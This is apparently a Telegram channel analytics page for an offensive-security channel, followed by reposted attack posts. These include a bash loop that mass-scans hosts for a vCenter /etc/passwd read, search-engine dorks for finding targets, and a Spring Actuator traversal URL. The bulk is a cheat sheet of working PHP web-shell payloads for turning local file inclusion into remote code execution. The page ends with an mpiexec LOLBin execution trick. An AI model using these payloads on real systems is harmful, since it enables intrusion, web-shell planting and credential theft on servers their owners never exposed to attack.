APT
This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat
Show more📈 Analytical overview of Telegram channel APT
Channel APT (@apt_notes) in the English language segment is an active participant. Currently, the community unites 16 275 subscribers, ranking 7 794 in the Technologies & Applications category and 40 535 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 16 275 subscribers.
According to the latest data from 01 September, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 547 over the last 30 days and by 18 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 44.29%. Within the first 24 hours after publication, content typically collects 18.04% reactions from the total number of subscribers.
- Post reach: On average, each post receives 7 204 views. Within the first day, a publication typically gains 2 934 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 26.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“This channel discusses:
— Offensive Security
— RedTeam
— Malware Research
— OSINT
— etc
Disclaimer:
t.me/APT_Notes/6
Chat Link:
t.me/APT_Notes_PublicChat”
Thanks to the high frequency of updates (latest data received on 02 September, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
cat target.txt| while read host do;do curl --insecure --path-as-is -s "$host/ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file:///etc/passwd"| grep "root:x" && echo "$host Vulnerable";done
Shodan Dorks:
http.title:"ID_VC_Welcome"
Zoomeye Dorks:
app:"VMware vCenter"
https://github.com/l0ggg/VMware_vCenter
#vmware #vcenter #bugbountyhttp://localhost:8887/manage/log/view?filename=/etc/passwd&base=../../../../../Details: https://pyn3rd.github.io/2021/10/25/CVE-2021-21234-Spring-Boot-Actuator-Logview-Directory-Traversal/ #spring #actuator #cve #bugbounty
GET /show.php?file=/var/log/apache2/access.log&c=ls HTTP/1.1
User-Agent: <?php system($_GET['c'])?>
2. SSH Log Poisoning
ssh '<?php system($_GET['c'])?>'@target.com
/show.php?file=/var/log/auth.log&c=ls
3. SMTP Log Poisoning
telnet target(.)com 25
MAIL FROM:<test@example.com>
RCPT TO:<?php system($_GET['c'])?>
/show.php?file=/var/log/mail.log&c=ls
4. Image Upload
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
/show.php?file=../img.jpg&c=ls
5. /proc/self/environ
GET /show.php?file=../../proc/self/environ&c=ls HTTP/1.1
User-Agent: <?php system($_GET['c'])?>
6. php://filter
Read source code, it may contain sensitive data (username/passwords, private keys etc)->RCE
php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php
"php://filter" is case insensitive. Try URL/Double encoding
7. Zip upload
echo "<?php system($_GET['c'])?>" > shell.php
zip shell(.)zip shell.php
mv shell(.)zip shell.jpg
rm shell.php
/show.php?file=zip://shell.jpg%23shell.php
8. data://text/plain
/show.php?file=data://text/plain,<?php echo base64_encode(file_get_contents("index.php"))?>
/show.php?file=data://text/plain,<?php phpinfo()?>
/show.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pO2VjaG8gJ3NoZWxsISc7Pz4=
9. /proc/self/fd/{id}
Include shell in headers (User-Agent, Authorisation, Referrer etc) and access /proc/self/fd/{id}
10. expect://
/show.php?page=expect://ls
11. input://
POST /index.php?page=php://input HTTP/1.1
<?php system('ls')?>
12. RCE via vulnerable assert statement
Vulnerable Code: assert("strpos('$file', '..') === false") or die("Hacker!");
Payload: ' and die(system("whoami")) or '
13. Log files
/var/log/apache/{access.log or error.log}
/var/log/apache2/error.log
/usr/local/{apache or apache2}/log/error_log
/var/log/nginx/{access.log or error.log}
/var/log/httpd/error_log
Insert payload via headers (User-Agent, Authorisation, Referrer etc)
14. Via PHP sessions
https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/
15. Via SSH
If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa
16. vsftpd Log Poisoning
Try to login (ftp) with the PHP payload in the username and access /var/log/vsftpd.log
17. Automation
https://github.com/D35m0nd142/LFISuite
#lfi #rce #cheatsheetC:\Program Files\Microsoft MPI\Binmpiexec.exe spawns smpd.exe which then spawns an executable. Usage:
mpiexec.exe -n 1 c:\path\to\binary.exe#lolbin #mpiexec #redteam
